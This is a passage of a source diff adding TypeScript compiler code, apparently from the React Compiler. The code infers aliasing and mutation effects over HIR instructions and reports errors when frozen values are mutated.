+ */
+function findNonMutatedDestructureSpreads(fn: HIRFunction): Set<IdentifierId> {
+  const knownFrozen = new Set<IdentifierId>();
+  if (fn.fnType === 'Component') {
+    const [props] = fn.params;
+    if (props != null && props.kind === 'Identifier') {
+      knownFrozen.add(props.identifier.id);
+    }
+  } else {
+    for (const param of fn.params) {
+      if (param.kind === 'Identifier') {
+        knownFrozen.add(param.identifier.id);
+      }
+    }
+  }
+
+  // Map of temporaries to identifiers for spread objects
+  const candidateNonMutatingSpreads = new Map<IdentifierId, IdentifierId>();
+  for (const block of fn.body.blocks.values()) {
+    if (candidateNonMutatingSpreads.size !== 0) {
+      for (const phi of block.phis) {
+        for (const operand of phi.operands.values()) {
+          const spread = candidateNonMutatingSpreads.get(operand.identifier.id);
+          if (spread != null) {
+            candidateNonMutatingSpreads.delete(spread);
+          }
+        }
+      }
+    }
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'Destructure': {
+          if (
+            !knownFrozen.has(value.value.identifier.id) ||
+            !(
+              value.lvalue.kind === InstructionKind.Let ||
+              value.lvalue.kind === InstructionKind.Const
+            ) ||
+            value.lvalue.pattern.kind !== 'ObjectPattern'
+          ) {
+            continue;
+          }
+          for (const item of value.lvalue.pattern.properties) {
+            if (item.kind !== 'Spread') {
+              continue;
+            }
+            candidateNonMutatingSpreads.set(
+              item.place.identifier.id,
+              item.place.identifier.id,
+            );
+          }
+          break;
+        }
+        case 'LoadLocal': {
+          const spread = candidateNonMutatingSpreads.get(
+            value.place.identifier.id,
+          );
+          if (spread != null) {
+            candidateNonMutatingSpreads.set(lvalue.identifier.id, spread);
+          }
+          break;
+        }
+        case 'StoreLocal': {
+          const spread = candidateNonMutatingSpreads.get(
+            value.value.identifier.id,
+          );
+          if (spread != null) {
+            candidateNonMutatingSpreads.set(lvalue.identifier.id, spread);
+            candidateNonMutatingSpreads.set(
+              value.lvalue.place.identifier.id,
+              spread,
+            );
+          }
+          break;
+        }
+        case 'JsxFragment':
+        case 'JsxExpression': {
+          // Passing objects created with spread to jsx can't mutate them
+          break;
+        }
+        case 'PropertyLoad': {
+          // Properties must be frozen since the original value was frozen
+          break;
+        }
+        case 'CallExpression':
+        case 'MethodCall': {
+          const callee =
+            value.kind === 'CallExpression' ? value.callee : value.property;
+          if (getHookKind(fn.env, callee.identifier) != null) {
+            // Hook calls have frozen arguments, and non-ref returns are frozen
+            if (!isRefOrRefValue(lvalue.identifier)) {
+              knownFrozen.add(lvalue.identifier.id);
+            }
+          } else {
+            // Non-hook calls check their operands, since they are potentially mutable
+            if (candidateNonMutatingSpreads.size !== 0) {
+              // Otherwise any reference to the spread object itself may mutate
+              for (const operand of eachInstructionValueOperand(value)) {
+                const spread = candidateNonMutatingSpreads.get(
+                  operand.identifier.id,
+                );
+                if (spread != null) {
+                  candidateNonMutatingSpreads.delete(spread);
+                }
+              }
+            }
+          }
+          break;
+        }
+        default: {
+          if (candidateNonMutatingSpreads.size !== 0) {
+            // Otherwise any reference to the spread object itself may mutate
+            for (const operand of eachInstructionValueOperand(value)) {
+              const spread = candidateNonMutatingSpreads.get(
+                operand.identifier.id,
+              );
+              if (spread != null) {
+                candidateNonMutatingSpreads.delete(spread);
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+
+  const nonMutatingSpreads = new Set<IdentifierId>();
+  for (const [key, value] of candidateNonMutatingSpreads) {
+    if (key === value) {
+      nonMutatingSpreads.add(key);
+    }
+  }
+  return nonMutatingSpreads;
+}
+
+function inferParam(
+  param: Place | SpreadPattern,
+  initialState: InferenceState,
+  paramKind: AbstractValue,
+): void {
+  const place = param.kind === 'Identifier' ? param : param.place;
+  const value: InstructionValue = {
+    kind: 'Primitive',
+    loc: place.loc,
+    value: undefined,
+  };
+  initialState.initialize(value, paramKind);
+  initialState.define(place, value);
+}
+
+function inferBlock(
+  context: Context,
+  state: InferenceState,
+  block: BasicBlock,
+): void {
+  for (const phi of block.phis) {
+    state.inferPhi(phi);
+  }
+
+  for (const instr of block.instructions) {
+    let instructionSignature = context.instructionSignatureCache.get(instr);
+    if (instructionSignature == null) {
+      instructionSignature = computeSignatureForInstruction(
+        context,
+        state.env,
+        instr,
+      );
+      context.instructionSignatureCache.set(instr, instructionSignature);
+    }
+    const effects = applySignature(context, state, instructionSignature, instr);
+    instr.effects = effects;
+  }
+  const terminal = block.terminal;
+  if (terminal.kind === 'try' && terminal.handlerBinding != null) {
+    context.catchHandlers.set(terminal.handler, terminal.handlerBinding);
+  } else if (terminal.kind === 'maybe-throw' && terminal.handler !== null) {
+    const handlerParam = context.catchHandlers.get(terminal.handler);
+    if (handlerParam != null) {
+      CompilerError.invariant(state.kind(handlerParam) != null, {
+        reason:
+          'Expected catch binding to be initialized with a DeclareLocal Catch instruction',
+        loc: terminal.loc,
+      });
+      const effects: Array<AliasingEffect> = [];
+      for (const instr of block.instructions) {
+        if (
+          instr.value.kind === 'CallExpression' ||
+          instr.value.kind === 'MethodCall'
+        ) {
+          /**
+           * Many instructions can error, but only calls can throw their result as the error
+           * itself. For example, `c = a.b` can throw if `a` is nullish, but the thrown value
+           * is an error object synthesized by the JS runtime. Whereas `throwsInput(x)` can
+           * throw (effectively) the result of the call.
+           *
+           * TODO: call applyEffect() instead. This meant that the catch param wasn't inferred
+           * as a mutable value, though. See `try-catch-try-value-modified-in-catch-escaping.js`
+           * fixture as an example
+           */
+          state.appendAlias(handlerParam, instr.lvalue);
+          const kind = state.kind(instr.lvalue).kind;
+          if (kind === ValueKind.Mutable || kind == ValueKind.Context) {
+            effects.push(
+              context.internEffect({
+                kind: 'Alias',
+                from: instr.lvalue,
+                into: handlerParam,
+              }),
+            );
+          }
+        }
+      }
+      terminal.effects = effects.length !== 0 ? effects : null;
+    }
+  } else if (terminal.kind === 'return') {
+    if (!context.isFuctionExpression) {
+      terminal.effects = [
+        context.internEffect({
+          kind: 'Freeze',
+          value: terminal.value,
+          reason: ValueReason.JsxCaptured,
+        }),
+      ];
+    }
+  }
+}
+
+/**
+ * Applies the signature to the given state to determine the precise set of effects
+ * that will occur in practice. This takes into account the inferred state of each
+ * variable. For example, the signature may have a `ConditionallyMutate x` effect.
+ * Here, we check the abstract type of `x` and either record a `Mutate x` if x is mutable
+ * or no effect if x is a primitive, global, or frozen.
+ *
+ * This phase may also emit errors, for example MutateLocal on a frozen value is invalid.
+ */
+function applySignature(
+  context: Context,
+  state: InferenceState,
+  signature: InstructionSignature,
+  instruction: Instruction,
+): Array<AliasingEffect> | null {
+  const effects: Array<AliasingEffect> = [];
+  /**
+   * For function instructions, eagerly validate that they aren't mutating
+   * a known-frozen value.
+   *
+   * TODO: make sure we're also validating against global mutations somewhere, but
+   * account for this being allowed in effects/event handlers.
+   */
+  if (
+    instruction.value.kind === 'FunctionExpression' ||
+    instruction.value.kind === 'ObjectMethod'
+  ) {
+    const aliasingEffects =
+      instruction.value.loweredFunc.func.aliasingEffects ?? [];
+    const context = new Set(
+      instruction.value.loweredFunc.func.context.map(p => p.identifier.id),
+    );
+    for (const effect of aliasingEffects) {
+      if (effect.kind === 'Mutate' || effect.kind === 'MutateTransitive') {
+        if (!context.has(effect.value.identifier.id)) {
+          continue;
+        }
+        const value = state.kind(effect.value);
+        switch (value.kind) {
+          case ValueKind.Frozen: {
+            const reason = getWriteErrorReason({
+              kind: value.kind,
+              reason: value.reason,
+            });
+            const variable =
+              effect.value.identifier.name !== null &&
+              effect.value.identifier.name.kind === 'named'
+                ? `\`${effect.value.identifier.name.value}\``
+                : 'value';
+            const diagnostic = CompilerDiagnostic.create({
+              category: ErrorCategory.Immutability,
+              reason: 'This value cannot be modified',
+              description: reason,
+            }).withDetails({
+              kind: 'error',
+              loc: effect.value.loc,
+              message: `${variable} cannot be modified`,
+            });
+            if (
+              effect.kind === 'Mutate' &&
+              effect.reason?.kind === 'AssignCurrentProperty'
+            ) {
+              diagnostic.withDetails({
+                kind: 'hint',
+                message: `Hint: If this value is a Ref (value returned by \`useRef()\`), rename the variable to end in "Ref".`,
+              });
+            }
+            effects.push({
+              kind: 'MutateFrozen',
+              place: effect.value,
+              error: diagnostic,
+            });
+          }
+        }
+      }
+    }
+  }
+
+  /*
+   * Track which values we've already aliased once, so that we can switch to
+   * appendAlias() for subsequent aliases into the same value
+   */
+  const initialized = new Set<IdentifierId>();
+
+  if (DEBUG) {
+    console.log(printInstruction(instruction));
+  }
+
+  for (const effect of signature.effects) {
+    applyEffect(context, state, effect, initialized, effects);
+  }
+  if (DEBUG) {
+    console.log(
+      prettyFormat(state.debugAbstractValue(state.kind(instruction.lvalue))),
+    );
+    console.log(
+      effects.map(effect => `  ${printAliasingEffect(effect)}`).join('\n'),
+    );
+  }
+  if (
+    !(state.isDefined(instruction.lvalue) && state.kind(instruction.lvalue))
+  ) {
+    CompilerError.invariant(false, {
+      reason: `Expected instruction lvalue to be initialized`,
+      loc: instruction.loc,
+    });
+  }
+  return effects.length !== 0 ? effects : null;
+}
+
+function applyEffect(
+  context: Context,
+  state: InferenceState,
+  _effect: AliasingEffect,
+  initialized: Set<IdentifierId>,
+  effects: Array<AliasingEffect>,
+): void {
+  const effect = context.internEffect(_effect);
+  if (DEBUG) {
+    console.log(printAliasingEffect(effect));
+  }
+  switch (effect.kind) {
+    case 'Freeze': {
+      const didFreeze = state.freeze(effect.value, effect.reason);
+      if (didFreeze) {
+        effects.push(effect);
+      }
+      break;
+    }
+    case 'Create': {
+      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
+        reason: `Cannot re-initialize variable within an instruction`,
+        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
+        loc: effect.into.loc,
+      });
+      initialized.add(effect.into.identifier.id);
+
+      let value = context.effectInstructionValueCache.get(effect);
+      if (value == null) {
+        value = {
+          kind: 'ObjectExpression',
+          properties: [],
+          loc: effect.into.loc,
+        };
+        context.effectInstructionValueCache.set(effect, value);
+      }
+      state.initialize(value, {
+        kind: effect.value,
+        reason: new Set([effect.reason]),
+      });
+      state.define(effect.into, value);
+      effects.push(effect);
+      break;
+    }
+    case 'ImmutableCapture': {
+      const kind = state.kind(effect.from).kind;
+      switch (kind) {
+        case ValueKind.Global:
+        case ValueKind.Primitive: {
+          // no-op: we don't need to track data flow for copy types
+          break;
+        }
+        default: {
+          effects.push(effect);
+        }
+      }
+      break;
+    }
+    case 'CreateFrom': {
+      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
+        reason: `Cannot re-initialize variable within an instruction`,
+        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
+        loc: effect.into.loc,
+      });
+      initialized.add(effect.into.identifier.id);
+
+      const fromValue = state.kind(effect.from);
+      let value = context.effectInstructionValueCache.get(effect);
+      if (value == null) {
+        value = {
+          kind: 'ObjectExpression',
+          properties: [],
+          loc: effect.into.loc,
+        };
+        context.effectInstructionValueCache.set(effect, value);
+      }
+      state.initialize(value, {
+        kind: fromValue.kind,
+        reason: new Set(fromValue.reason),
+      });
+      state.define(effect.into, value);
+      switch (fromValue.kind) {
+        case ValueKind.Primitive:
+        case ValueKind.Global: {
+          effects.push({
+            kind: 'Create',
+            value: fromValue.kind,
+            into: effect.into,
+            reason: [...fromValue.reason][0] ?? ValueReason.Other,
+          });
+          break;
+        }
+        case ValueKind.Frozen: {
+          effects.push({
+            kind: 'Create',
+            value: fromValue.kind,
+            into: effect.into,
+            reason: [...fromValue.reason][0] ?? ValueReason.Other,
+          });
+          applyEffect(
+            context,
+            state,
+            {
+              kind: 'ImmutableCapture',
+              from: effect.from,
+              into: effect.into,
+            },
+            initialized,
+            effects,
+          );
+          break;
+        }
+        default: {
+          effects.push(effect);
+        }
+      }
+      break;
+    }
+    case 'CreateFunction': {
+      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
+        reason: `Cannot re-initialize variable within an instruction`,
+        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
+        loc: effect.into.loc,
+      });
+      initialized.add(effect.into.identifier.id);
+
+      effects.push(effect);
+      /**
+       * We consider the function mutable if it has any mutable context variables or
+       * any side-effects that need to be tracked if the function is called.
+       */
+      const hasCaptures = effect.captures.some(capture => {
+        switch (state.kind(capture).kind) {
+          case ValueKind.Context:
+          case ValueKind.Mutable: {
+            return true;
+          }
+          default: {
+            return false;
+          }
+        }
+      });
+      const hasTrackedSideEffects =
+        effect.function.loweredFunc.func.aliasingEffects?.some(
+          effect =>
+            // TODO; include "render" here?
+            effect.kind === 'MutateFrozen' ||
+            effect.kind === 'MutateGlobal' ||
+            effect.kind === 'Impure',
+        );
+      // For legacy compatibility
+      const capturesRef = effect.function.loweredFunc.func.context.some(
+        operand => isRefOrRefValue(operand.identifier),
+      );
+      const isMutable = hasCaptures || hasTrackedSideEffects || capturesRef;
+      for (const operand of effect.function.loweredFunc.func.context) {
+        if (operand.effect !== Effect.Capture) {
+          continue;
+        }
+        const kind = state.kind(operand).kind;
+        if (
+          kind === ValueKind.Primitive ||
+          kind == ValueKind.Frozen ||
+          kind == ValueKind.Global
+        ) {
+          operand.effect = Effect.Read;
+        }
+      }
+      state.initialize(effect.function, {
+        kind: isMutable ? ValueKind.Mutable : ValueKind.Frozen,
+        reason: new Set([]),
+      });
+      state.define(effect.into, effect.function);
+      for (const capture of effect.captures) {
+        applyEffect(
+          context,
+          state,
+          {
+            kind: 'Capture',
+            from: capture,
+            into: effect.into,
+          },
+          initialized,
+          effects,
+        );
+      }
+      break;
+    }
+    case 'MaybeAlias':
+    case 'Alias':
+    case 'Capture': {
+      CompilerError.invariant(
+        effect.kind === 'Capture' ||
+          effect.kind === 'MaybeAlias' ||
+          initialized.has(effect.into.identifier.id),
+        {
+          reason: `Expected destination to already be initialized within this instruction`,
+          description:
+            `Destination ${printPlace(effect.into)} is not initialized in this ` +
+            `instruction for effect ${printAliasingEffect(effect)}`,
+          loc: effect.into.loc,
+        },
+      );
+      /*
+       * Capture describes potential information flow: storing a pointer to one value
+       * within another. If the destination is not mutable, or the source value has
+       * copy-on-write semantics, then we can prune the effect
+       */
+      const intoKind = state.kind(effect.into).kind;
+      let destinationType: 'context' | 'mutable' | null = null;
+      switch (intoKind) {
+        case ValueKind.Context: {
+          destinationType = 'context';
+          break;
+        }
+        case ValueKind.Mutable:
+        case ValueKind.MaybeFrozen: {
+          destinationType = 'mutable';
+          break;
+        }
+      }
+      const fromKind = state.kind(effect.from).kind;
+      let sourceType: 'context' | 'mutable' | 'frozen' | null = null;
+      switch (fromKind) {
+        case ValueKind.Context: {
+          sourceType = 'context';
+          break;
+        }
+        case ValueKind.Global:
+        case ValueKind.Primitive: {
+          break;
+        }
+        case ValueKind.MaybeFrozen:
+        case ValueKind.Frozen: {
+          sourceType = 'frozen';
+          break;
+        }
+        default: {
+          sourceType = 'mutable';
+          break;
+        }
+      }
+
+      if (sourceType === 'frozen') {
+        applyEffect(
+          context,
+          state,
+          {
+            kind: 'ImmutableCapture',
+            from: effect.from,
+            into: effect.into,
+          },
+          initialized,
+          effects,
+        );
+      } else if (
+        (sourceType === 'mutable' && destinationType === 'mutable') ||
+        effect.kind === 'MaybeAlias'
+      ) {
+        effects.push(effect);
+      } else if (
+        (sourceType === 'context' && destinationType != null) ||
+        (sourceType === 'mutable' && destinationType === 'context')
+      ) {
+        applyEffect(
+          context,
+          state,
+          {kind: 'MaybeAlias', from: effect.from, into: effect.into},
+          initialized,
+          effects,
+        );
+      }
+      break;
+    }
+    case 'Assign': {
+      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
+        reason: `Cannot re-initialize variable within an instruction`,
+        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
+        loc: effect.into.loc,
+      });
+      initialized.add(effect.into.identifier.id);
+
+      /*
+       * Alias represents potential pointer aliasing. If the type is a global,
+       * a primitive (copy-on-write semantics) then we can prune the effect
+       */
+      const fromValue = state.kind(effect.from);
+      const fromKind = fromValue.kind;
+      switch (fromKind) {
+        case ValueKind.Frozen: {
+          applyEffect(
+            context,
+            state,
+            {
+              kind: 'ImmutableCapture',
+              from: effect.from,
+              into: effect.into,
+            },
+            initialized,
+            effects,
+          );
+          let value = context.effectInstructionValueCache.get(effect);
+          if (value == null) {
+            value = {
+              kind: 'Primitive',
+              value: undefined,
+              loc: effect.from.loc,
+            };
+            context.effectInstructionValueCache.set(effect, value);
+          }
+          state.initialize(value, {
+            kind: fromKind,
+            reason: new Set(fromValue.reason),
+          });
+          state.define(effect.into, value);
+          break;
+        }
+        case ValueKind.Global:
+        case ValueKind.Primitive: {
+          let value = context.effectInstructionValueCache.get(effect);
+          if (value == null) {
+            value = {
+              kind: 'Primitive',
+              value: undefined,
+              loc: effect.from.loc,
+            };
+            context.effectInstructionValueCache.set(effect, value);
+          }
+          state.initialize(value, {
+            kind: fromKind,
+            reason: new Set(fromValue.reason),
+          });
+          state.define(effect.into, value);
+          break;
+        }
+        default: {
+          state.assign(effect.into, effect.from);
+          effects.push(effect);
+          break;
+        }
+      }
+      break;
+    }
+    case 'Apply': {
+      const functionValues = state.values(effect.function);
+      if (
+        functionValues.length === 1 &&
+        functionValues[0].kind === 'FunctionExpression' &&
+        functionValues[0].loweredFunc.func.aliasingEffects != null
+      ) {
+        /*
+         * We're calling a locally declared function, we already know it's effects!
+         * We just have to substitute in the args for the params
+         */
+        const functionExpr = functionValues[0];
+        let signature = context.functionSignatureCache.get(functionExpr);
+        if (signature == null) {
+          signature = buildSignatureFromFunctionExpression(
+            state.env,
+            functionExpr,
+          );
+          context.functionSignatureCache.set(functionExpr, signature);
+        }
+        if (DEBUG) {
+          console.log(
+            `constructed alias signature:\n${printAliasingSignature(signature)}`,
+          );
+        }
+        const signatureEffects = context.cacheApplySignature(
+          signature,
+          effect,
+          () =>
+            computeEffectsForSignature(
+              state.env,
+              signature,
+              effect.into,
+              effect.receiver,
+              effect.args,
+              functionExpr.loweredFunc.func.context,
+              effect.loc,
+            ),
+        );
+        if (signatureEffects != null) {
+          applyEffect(
+            context,
+            state,
+            {kind: 'MutateTransitiveConditionally', value: effect.function},
+            initialized,
+            effects,
+          );
+          for (const signatureEffect of signatureEffects) {
+            applyEffect(context, state, signatureEffect, initialized, effects);
+          }
+          break;
+        }
+      }
+      let signatureEffects = null;
+      if (effect.signature?.aliasing != null) {
+        const signature = effect.signature.aliasing;
+        signatureEffects = context.cacheApplySignature(
+          effect.signature.aliasing,
+          effect,
+          () =>
+            computeEffectsForSignature(
+              state.env,
+              signature,
+              effect.into,
+              effect.receiver,
+              effect.args,
+              [],
+              effect.loc,
+            ),
+        );
+      }
+      if (signatureEffects != null) {
+        for (const signatureEffect of signatureEffects) {
+          applyEffect(context, state, signatureEffect, initialized, effects);
+        }
+      } else if (effect.signature != null) {
+        const legacyEffects = computeEffectsForLegacySignature(
+          state,
+          effect.signature,
+          effect.into,
+          effect.receiver,
+          effect.args,
+          effect.loc,
+        );
+        for (const legacyEffect of legacyEffects) {
+          applyEffect(context, state, legacyEffect, initialized, effects);
+        }
+      } else {
+        applyEffect(
+          context,
+          state,
+          {
+            kind: 'Create',
+            into: effect.into,
+            value: ValueKind.Mutable,
+            reason: ValueReason.Other,
+          },
+          initialized,
+          effects,
+        );
+        /*
+         * If no signature then by default:
+         * - All operands are conditionally mutated, except some instruction
+         *   variants are assumed to not mutate the callee (such as `new`)
+         * - All operands are captured into (but not directly aliased as)
+         *   every other argument.
+         */
+        for (const arg of [effect.receiver, effect.function, ...effect.args]) {
+          if (arg.kind === 'Hole') {
+            continue;
+          }
+          const operand = arg.kind === 'Identifier' ? arg : arg.place;
+          if (operand !== effect.function || effect.mutatesFunction) {
+            applyEffect(
+              context,
+              state,
+              {
+                kind: 'MutateTransitiveConditionally',
+                value: operand,
+              },
+              initialized,
+              effects,
+            );
+          }
+          const mutateIterator =
+            arg.kind === 'Spread' ? conditionallyMutateIterator(operand) : null;
+          if (mutateIterator) {
+            applyEffect(context, state, mutateIterator, initialized, effects);
+          }
+          applyEffect(
+            context,
+            state,
+            // OK: recording information flow
+            {kind: 'MaybeAlias', from: operand, into: effect.into},
+            initialized,
+            effects,
+          );
+          for (const otherArg of [
+            effect.receiver,
+            effect.function,
+            ...effect.args,
+          ]) {
+            if (otherArg.kind === 'Hole') {
+              continue;
+            }
+            const other =
+              otherArg.kind === 'Identifier' ? otherArg : otherArg.place;
+            if (other === arg) {
+              continue;
+            }
+            applyEffect(
+              context,
+              state,
+              {
+                /*
+                 * OK: a function might store one operand into another,
+                 * but it can't force one to alias another
+                 */
+                kind: 'Capture',
+                from: operand,
+                into: other,
+              },
+              initialized,
+              effects,
+            );
+          }
+        }
+      }
+      break;
+    }
+    case 'Mutate':
+    case 'MutateConditionally':
+    case 'MutateTransitive':
+    case 'MutateTransitiveConditionally': {
+      const mutationKind = state.mutate(effect.kind, effect.value);
+      if (mutationKind === 'mutate') {
+        effects.push(effect);
+      } else if (mutationKind === 'mutate-ref') {
+        // no-op
+      } else if (
+        mutationKind !== 'none' &&
+        (effect.kind === 'Mutate' || effect.kind === 'MutateTransitive')
+      ) {
+        const value = state.kind(effect.value);
+        if (DEBUG) {
+          console.log(`invalid mutation: ${printAliasingEffect(effect)}`);
+          console.log(prettyFormat(state.debugAbstractValue(value)));
+        }
+
+        if (
+          mutationKind === 'mutate-frozen' &&
+          context.hoistedContextDeclarations.has(
+            effect.value.identifier.declarationId,
+          )
+        ) {
+          const variable =
+            effect.value.identifier.name !== null &&
+            effect.value.identifier.name.kind === 'named'
+              ? `\`${effect.value.identifier.name.value}\``
+              : null;
+          const hoistedAccess = context.hoistedContextDeclarations.get(
+            effect.value.identifier.declarationId,
+          );
+          const diagnostic = CompilerDiagnostic.create({
+            category: ErrorCategory.Immutability,
+            reason: 'Cannot access variable before it is declared',
+            description: `${variable ?? 'This variable'} is accessed before it is declared, which prevents the earlier access from updating when this value changes over time`,
+          });
+          if (hoistedAccess != null && hoistedAccess.loc != effect.value.loc) {
+            diagnostic.withDetails({
+              kind: 'error',
+              loc: hoistedAccess.loc,
+              message: `${variable ?? 'variable'} accessed before it is declared`,
+            });
+          }
+          diagnostic.withDetails({
+            kind: 'error',
+            loc: effect.value.loc,
+            message: `${variable ?? 'variable'} is declared here`,
+          });
+
+          applyEffect(
+            context,
+            state,
+            {
+              kind: 'MutateFrozen',
+              place: effect.value,
+              error: diagnostic,
+            },
+            initialized,
+            effects,
+          );
+        } else {
+          const reason = getWriteErrorReason({
+            kind: value.kind,
+            reason: value.reason,
+          });
+          const variable =
+            effect.value.identifier.name !== null &&
+            effect.value.identifier.name.kind === 'named'
+              ? `\`${effect.value.identifier.name.value}\``
+              : 'value';
+          const diagnostic = CompilerDiagnostic.create({
+            category: ErrorCategory.Immutability,
+            reason: 'This value cannot be modified',
+            description: reason,
+          }).withDetails({
+            kind: 'error',
+            loc: effect.value.loc,
+            message: `${variable} cannot be modified`,
+          });
+          if (
+            effect.kind === 'Mutate' &&
+            effect.reason?.kind === 'AssignCurrentProperty'
+          ) {
+            diagnostic.withDetails({
+              kind: 'hint',
+              message: `Hint: If this value is a Ref (value returned by \`useRef()\`), rename the variable to end in "Ref".`,
+            });
+          }
+          applyEffect(
+            context,
+            state,
+            {
+              kind:
+                value.kind === ValueKind.Frozen
+                  ? 'MutateFrozen'
+                  : 'MutateGlobal',
+              place: effect.value,
+              error: diagnostic,
+            },
+            initialized,
+            effects,
+          );
+        }
+      }
+      break;
+    }
+    case 'Impure':
+    case 'Render':
+    case 'MutateFrozen':
+    case 'MutateGlobal': {
+      effects.push(effect);
+      break;
+    }
+    default: {
+      assertExhaustive(
+        effect,
+        `Unexpected effect kind '${(effect as any).kind as any}'`,
+      );
+    }
+  }
+}
+
+class InferenceState {
+  env: Environment;
+  #isFunctionExpression: boolean;
+
+  // The kind of each value, based on its allocation site
+  #values: Map<InstructionValue, AbstractValue>;
+  /*
+   * The set of values pointed to by each identifier. This is a set
+   * to accommodate phi points (where a variable may have different
+   * values from different control flow paths).
+   */
+  #variables: Map<IdentifierId, Set<InstructionValue>>;
+
+  constructor(
+    env: Environment,
+    isFunctionExpression: boolean,
+    values: Map<InstructionValue, AbstractValue>,
+    variables: Map<IdentifierId, Set<InstructionValue>>,
+  ) {
+    this.env = env;
+    this.#isFunctionExpression = isFunctionExpression;
+    this.#values = values;
+    this.#variables = variables;
+  }
+
+  static empty(
+    env: Environment,
+    isFunctionExpression: boolean,
+  ): InferenceState {
+    return new InferenceState(env, isFunctionExpression, new Map(), new Map());
+  }
+
+  get isFunctionExpression(): boolean {
+    return this.#isFunctionExpression;
+  }
+
+  // (Re)initializes a @param value with its default @param kind.
+  initialize(value: InstructionValue, kind: AbstractValue): void {
+    CompilerError.invariant(value.kind !== 'LoadLocal', {
+      reason:
+        '[InferMutationAliasingEffects] Expected all top-level identifiers to be defined as variables, not values',
+      loc: value.loc,
+    });
+    this.#values.set(value, kind);
+  }
+
+  values(place: Place): Array<InstructionValue> {
+    const values = this.#variables.get(place.identifier.id);
+    CompilerError.invariant(values != null, {
+      reason: `[InferMutationAliasingEffects] Expected value kind to be initialized`,
+      description: `${printPlace(place)}`,
+      message: 'this is uninitialized',
+      loc: place.loc,
+    });
+    return Array.from(values);
+  }
+
+  // Lookup the kind of the given @param value.
+  kind(place: Place): AbstractValue {
+    const values = this.#variables.get(place.identifier.id);
+    CompilerError.invariant(values != null, {
+      reason: `[InferMutationAliasingEffects] Expected value kind to be initialized`,
+      description: `${printPlace(place)}`,
+      message: 'this is uninitialized',
+      loc: place.loc,
+    });
+    let mergedKind: AbstractValue | null = null;
+    for (const value of values) {
+      const kind = this.#values.get(value)!;
+      mergedKind =
+        mergedKind !== null ? mergeAbstractValues(mergedKind, kind) : kind;
+    }
+    CompilerError.invariant(mergedKind !== null, {
+      reason: `[InferMutationAliasingEffects] Expected at least one value`,
+      description: `No value found at \`${printPlace(place)}\``,
+      loc: place.loc,
+    });
+    return mergedKind;
+  }
+
+  // Updates the value at @param place to point to the same value as @param value.
+  assign(place: Place, value: Place): void {
+    const values = this.#variables.get(value.identifier.id);
+    CompilerError.invariant(values != null, {
+      reason: `[InferMutationAliasingEffects] Expected value for identifier to be initialized`,
+      description: `${printIdentifier(value.identifier)}`,
+      message: 'Expected value for identifier to be initialized',
+      loc: value.loc,
+    });
+    this.#variables.set(place.identifier.id, new Set(values));
+  }
+
+  appendAlias(place: Place, value: Place): void {
+    const values = this.#variables.get(value.identifier.id);
+    CompilerError.invariant(values != null, {
+      reason: `[InferMutationAliasingEffects] Expected value for identifier to be initialized`,
+      description: `${printIdentifier(value.identifier)}`,
+      message: 'Expected value for identifier to be initialized',
+      loc: value.loc,
+    });
+    const prevValues = this.values(place);
+    this.#variables.set(
+      place.identifier.id,
+      new Set([...prevValues, ...values]),
+    );
+  }
+
+  // Defines (initializing or updating) a variable with a specific kind of value.
+  define(place: Place, value: InstructionValue): void {
+    CompilerError.invariant(this.#values.has(value), {
+      reason: `[InferMutationAliasingEffects] Expected value to be initialized`,
+      description: printInstructionValue(value),
+      loc: value.loc,
+    });
+    this.#variables.set(place.identifier.id, new Set([value]));
+  }
+
+  isDefined(place: Place): boolean {
+    return this.#variables.has(place.identifier.id);
+  }
+
+  /**
+   * Marks @param place as transitively frozen. Returns true if the value was not
+   * already frozen, false if the value is already frozen (or already known immutable).
+   */
+  freeze(place: Place, reason: ValueReason): boolean {
+    const value = this.kind(place);
+    switch (value.kind) {
+      case ValueKind.Context:
+      case ValueKind.Mutable:
+      case ValueKind.MaybeFrozen: {
+        const values = this.values(place);
+        for (const instrValue of values) {
+          this.freezeValue(instrValue, reason);
+        }
+        return true;
+      }
+      case ValueKind.Frozen:
+      case ValueKind.Global:
+      case ValueKind.Primitive: {
+        return false;
+      }
+      default: {
+        assertExhaustive(
+          value.kind,
+          `Unexpected value kind '${(value as any).kind}'`,
+        );
+      }
+    }
+  }
+
+  freezeValue(value: InstructionValue, reason: ValueReason): void {
+    this.#values.set(value, {
+      kind: ValueKind.Frozen,
+      reason: new Set([reason]),
+    });
+    if (
+      value.kind === 'FunctionExpression' &&
+      (this.env.config.enablePreserveExistingMemoizationGuarantees ||
+        this.env.config.enableTransitivelyFreezeFunctionExpressions)
+    ) {
+      for (const place of value.loweredFunc.func.context) {
+        this.freeze(place, reason);
+      }
+    }
+  }
+
+  mutate(
+    variant:
+      | 'Mutate'
+      | 'MutateConditionally'
+      | 'MutateTransitive'
+      | 'MutateTransitiveConditionally',
+    place: Place,
+  ): 'none' | 'mutate' | 'mutate-frozen' | 'mutate-global' | 'mutate-ref' {
+    if (isRefOrRefValue(place.identifier)) {
+      return 'mutate-ref';
+    }
+    const kind = this.kind(place).kind;
+    switch (variant) {
+      case 'MutateConditionally':
+      case 'MutateTransitiveConditionally': {
+        switch (kind) {
+          case ValueKind.Mutable:
+          case ValueKind.Context: {
+            return 'mutate';
+          }
+          default: {
+            return 'none';
+          }
+        }
+      }
+      case 'Mutate':
+      case 'MutateTransitive': {
+        switch (kind) {
+          case ValueKind.Mutable:
+          case ValueKind.Context: {
+            return 'mutate';
+          }
+          case ValueKind.Primitive: {
+            // technically an error, but it's not React specific
+            return 'none';
+          }
+          case ValueKind.Frozen: {
+            return 'mutate-frozen';
+          }
+          case ValueKind.Global: {
+            return 'mutate-global';
+          }
+          case ValueKind.MaybeFrozen: {
+            return 'mutate-frozen';
+          }
+          default: {
+            assertExhaustive(kind, `Unexpected kind ${kind}`);
+          }
+        }
+      }
+      default: {
+        assertExhaustive(variant, `Unexpected mutation variant ${variant}`);
+      }
+    }
+  }
+
+  /*
+   * Combine the contents of @param this and @param other, returning a new
+   * instance with the combined changes _if_ there are any changes, or
